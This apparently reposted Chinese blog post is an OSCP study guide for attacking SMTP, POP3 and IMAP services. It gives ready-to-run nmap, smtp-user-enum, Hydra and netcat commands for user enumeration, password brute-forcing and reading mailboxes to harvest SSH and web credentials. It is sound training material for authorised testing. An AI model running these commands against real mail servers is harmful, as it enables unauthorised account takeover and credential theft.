文章总结: 本文系统总结了OSCP渗透测试中SMTP/POP3邮件服务的攻击方法论,详细阐述了端口识别、用户枚举、认证爆破、邮件读取等核心攻击流程。文章提供了smtp-user-enum、Hydra等工具的具体使用命令,并给出了典型的攻击组合拳实战案例,帮助渗透测试人员快速获取系统用户名、密码凭据等关键信息。 综合评分: 75 文章分类: 渗透测试,漏洞分析,实战经验,WEB安全,红队
OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(上)
原创
网安布道师 网安布道师
六边形攻防安全
2026年6月21日 07:38 河北
在小说阅读器读本章
去阅读
在 OSCP 或内网渗透中,邮件服务经常不是是最终入口,但它很可能提供非常关键的信息:用户名、密码、内部域名、重置链接、系统通知、SSH 凭据等。
很多同学(包括我)一开始看到 25/tcp open smtp 或 110/tcp open pop3 时,只知道这是邮件服务,但不知道下一步该怎么打。本文整理一套适合 OSCP 的 SMTP / POP3 枚举与利用思路。希望对你备考oscp或实战有所帮助。❞
一、常见邮件服务端口
邮件相关服务常见端口如下:
| 端口 | 服务 | 说明 | | — | — | — | | 25 | SMTP | 邮件发送 / 接收 / 转发 | | 587 | SMTP Submission | 认证后提交邮件 | | 465 | SMTPS | SSL 加密 SMTP | | 110 | POP3 | 收取邮件 | | 995 | POP3S | SSL 加密 POP3 | | 143 | IMAP | 收取邮件,支持同步 | | 993 | IMAPS | SSL 加密 IMAP |
在 OSCP 中最常见的是:
25/tcp open smtp110/tcp open pop3143/tcp open imap
可以简单记成:
SMTP = 枚举用户 / 发邮件 / 检查中继POP3 / IMAP = 登录邮箱 / 读取邮件 / 寻找凭据
二、为什么邮件服务值得关注
邮件服务经常出现在服务器上,而不是普通个人电脑上。
一台机器开放 SMTP / POP3,通常说明它可能是:
- 邮件服务器
- 内部办公服务器
- Web 应用的邮件通知服务器
- 老旧 Linux 服务靶机
- 某个业务系统的消息转发节点
在 OSCP 里,邮件服务常见价值包括:
- 枚举系统用户名
- 爆破邮箱账号密码
- 读取邮件获取敏感信息
- 找到 SSH、FTP、Web 登录凭据
- 发现内部域名、主机名、路径
- 检查是否存在开放中继
三、基础枚举
发现邮件端口后,先做服务识别:
nmap -sC -sV -p25,110,143,465,587,993,995 <target>
如果想更细一点,可以加上相关 NSE 脚本:
nmap -p25,110,143,465,587,993,995 --script "*smtp* or *pop3* or *imap*" <target>
重点关注:
- 服务名称
- 版本号
- 是否支持认证
- 是否支持明文登录
- 是否支持
VRFY、EXPN - 是否泄露域名或主机名
四、SMTP 攻击思路
SMTP 主要用于邮件发送、接收和转发。在 OSCP 中,SMTP 的重点通常是:
枚举用户 -> 检查版本 -> 测试中继 -> 尝试认证
五、SMTP 手工连接
可以使用 nc 连接 SMTP 服务:
nc -nv <target> 25
连接后可能看到类似 banner:
220 mail.example.local ESMTP Postfix
这个 banner 可能泄露:
- 邮件服务软件
- 主机名
- 域名
- 版本信息
也可以尝试:
HELO test.com
或:
EHLO test.com
EHLO 通常会返回服务器支持的功能,例如:
250-STARTTLS250-AUTH LOGIN PLAIN250-VRFY
如果看到 AUTH LOGIN、AUTH PLAIN,说明它可能支持登录认证。
六、SMTP 用户枚举
SMTP 有几个经典命令可以用于枚举用户。
1. VRFY
VRFY rootVRFY adminVRFY john
如果用户存在,可能返回:
250 john
如果用户不存在,可能返回:
550 No such user
2. EXPN
EXPN usersEXPN admins
EXPN 用于展开邮件列表。如果配置不当,可能泄露用户列表。
3. RCPT TO
有些服务器禁用了 VRFY 和 EXPN,但可以通过 RCPT TO 判断用户是否存在。
手工测试流程:
HELO test.comMAIL FROM:<[email protected]>RCPT TO:<[email protected]>
如果用户存在,可能返回:
250 OK
如果不存在,可能返回:
550 User unknown
七、使用 smtp-user-enum 枚举用户
OSCP 中常用工具是 smtp-user-enum。
使用 VRFY 模式:
smtp-user-enum -M VRFY -U users.txt -t <target>
使用 EXPN 模式:
smtp-user-enum -M EXPN -U users.txt -t <target>
使用 RCPT 模式:
smtp-user-enum -M RCPT -U users.txt -t <target>
如果知道域名,可以指定:
smtp-user-enum -M RCPT -U users.txt -D example.local -t <target>
常用用户名字典或者根据web页面存在的用户名生成字典进行爆破:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
八、SMTP 开放中继测试
开放中继,即 Open Relay,表示攻击者可以借助该服务器向外部地址发送邮件。
可以用 nmap 检查:
nmap --script smtp-open-relay -p25 <target>
如果存在开放中继,说明服务器配置不当。
不过在 OSCP 里,开放中继不一定直接拿 shell,但它可能帮助你:
- 伪造内部邮件
- 触发某些业务流程
- 配合 Web 应用功能利用
- 发现邮件投递行为
九、SMTP 爆破认证
如果 SMTP 支持认证,可以尝试爆破。
普通 SMTP:
hydra -L users.txt -P passwords.txt smtp://<target>
指定 587 端口:
hydra -L users.txt -P passwords.txt -s 587 smtp://<target>
使用 SSL:
hydra -L users.txt -P passwords.txt -s 465 -S smtp://<target>
如果已经通过 SMTP 枚举出用户,可以把用户名保存到 users.txt,再配合常见密码字典尝试。
十、POP3 攻击思路
POP3 是收邮件服务。
在 OSCP 中,POP3 的核心价值非常直接:
登录邮箱 -> 读取邮件 -> 找敏感信息
如果你拿到了邮箱账号密码,POP3 很可能直接给你下一步线索。
十一、POP3 手工登录
连接 POP3:
nc -nv <target> 110
登录:
USER johnPASS password123
查看邮件列表:
LIST
读取第一封邮件:
RETR 1
读取第二封邮件:
RETR 2
退出:
QUIT
完整示例:
nc -nv 192.168.56.10 110
USER johnPASS summer2020LISTRETR 1QUIT
邮件中重点寻找:
- SSH 密码
- Web 后台账号
- 数据库密码
- 临时密码
- Reset password 链接
- 内部域名
- 主机名
- 备份路径
- 其他用户信息
十二、POP3 爆破
使用 Hydra 爆破 POP3:
hydra -L users.txt -P passwords.txt pop3://<target>
如果是 POP3S,也就是 995 端口:
hydra -L users.txt -P passwords.txt -s 995 -S pop3://<target>
如果只有一个用户:
hydra -l john -P passwords.txt pop3://<target>
如果只有一个密码,想撞用户名:
hydra -L users.txt -p password123 pop3://<target>
十三、IMAP 简单补充
虽然本文重点是 SMTP / POP3,但 OSCP 中也经常遇到 IMAP。
IMAP 端口:
143 = IMAP993 = IMAPS
Hydra 爆破:
hydra -L users.txt -P passwords.txt imap://<target>
IMAPS:
hydra -L users.txt -P passwords.txt -s 993 -S imap://<target>
手工连接可以使用 telnet 或 openssl,不过 IMAP 命令比 POP3 稍微麻烦一点。
十四、SSL 邮件服务连接方式
如果遇到 SSL 端口,例如:
465/tcp open smtps995/tcp open pop3s993/tcp open imaps
可以用 openssl s_client 连接。
连接 SMTPS:
openssl s_client -connect <target>:465
连接 POP3S:
openssl s_client -connect <target>:995
连接 IMAPS:
openssl s_client -connect <target>:993
连接后再输入对应协议命令。
十五、典型 OSCP 攻击流程
假设扫描发现:
25/tcp open smtp110/tcp open pop3
可以按下面流程走:
1. 服务识别
nmap -sC -sV -p25,110 <target>
2. SMTP 枚举用户
smtp-user-enum -M VRFY -U users.txt -t <target>
如果失败,换模式:
smtp-user-enum -M RCPT -U users.txt -t <target>
3. 保存有效用户
例如枚举出:
adminjohnmary
保存到:
users.txt
4. 爆破 POP3
hydra -L users.txt -P passwords.txt pop3://<target>
5. 登录 POP3 读取邮件
nc -nv <target> 110
USER johnPASS password123LISTRETR 1RETR 2
6. 提取敏感信息
如果邮件里发现:
Your temporary SSH password is: Welcome123
尝试 SSH登录:
ssh john@<target>
十六、常见组合拳
邮件服务一般不是孤立看的,要和其他服务组合。
1. SMTP 枚举用户 + SSH 爆破
smtp-user-enum -M VRFY -U users.txt -t <target>hydra -L valid-users.txt -P passwords.txt ssh://<target>
2. SMTP 枚举用户 + POP3 爆破
smtp-user-enum -M RCPT -U users.txt -t <target>hydra -L valid-users.txt -P passwords.txt pop3://<target>
3. POP3 读邮件 + Web 登录
邮件里可能出现:
Web portal: http://intranet.localUsername: johnPassword: Password123
然后尝试登录 Web 后台。
4. 邮件中发现内部域名
如果邮件或 banner 中出现:
mail.example.localdev.example.localintranet.example.local
记得加入 /etc/hosts:
echo "<target> example.local dev.example.local intranet.example.local" | sudo tee -a /etc/hosts
然后访问对应站点。
十七、常用命令速查
nmap 枚举邮件服务
nmap -sC -sV -p25,110,143,465,587,993,995 <target>
连接 SMTP
nc -nv <target> 25
SMTP 用户枚举
smtp-user-enum -M VRFY -U users.txt -t <target>smtp-user-enum -M EXPN -U users.txt -t <target>smtp-user-enum -M RCPT -U users.txt -t <target>
检查开放中继
nmap --script smtp-open-relay -p25 <target>
爆破 SMTP
hydra -L users.txt -P passwords.txt smtp://<target>hydra -L users.txt -P passwords.txt -s 587 smtp://<target>hydra -L users.txt -P passwords.txt -s 465 -S smtp://<target>
连接 POP3
nc -nv <target> 110
POP3 登录命令
USER usernamePASS passwordLISTRETR 1QUIT
爆破 POP3
hydra -L users.txt -P passwords.txt pop3://<target>hydra -L users.txt -P passwords.txt -s 995 -S pop3://<target>
SSL 连接
openssl s_client -connect <target>:465openssl s_client -connect <target>:995openssl s_client -connect <target>:993
十八、OSCP 记忆口诀
可以把 SMTP / POP3 的攻击思路记成一句话:
SMTP 先问有没有这个人,POP3 再看这个人邮箱里有什么。
更完整一点:
SMTP 枚举用户,POP3/IMAP 读取邮件。拿到邮箱密码后,优先找 SSH、Web、FTP、数据库和内部域名信息。
十九、总结
在 OSCP 中,SMTP 和 POP3 的攻击并不复杂,关键是形成固定流程。
遇到 SMTP:
- 看 banner
- 识别版本
- 尝试
VRFY/EXPN/RCPT - 枚举用户名
- 检查开放中继
- 尝试认证爆破
遇到 POP3:
- 尝试登录
- 爆破弱口令
- 读取邮件
- 提取凭据和内部信息
- 尝试横向使用这些信息
邮件服务的本质价值是信息收集。它经常不是终点,但很可能是通往 SSH、Web 后台或提权路径的关键跳板。
本篇文章主要介绍了smtp/pop3邮件服务器攻击思路的一个总结,在下一篇中将进行靶场实战演示这些攻击的组合利用。敬请关注!!!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:六边形攻防安全 网安布道师 网安布道师《OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(上)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论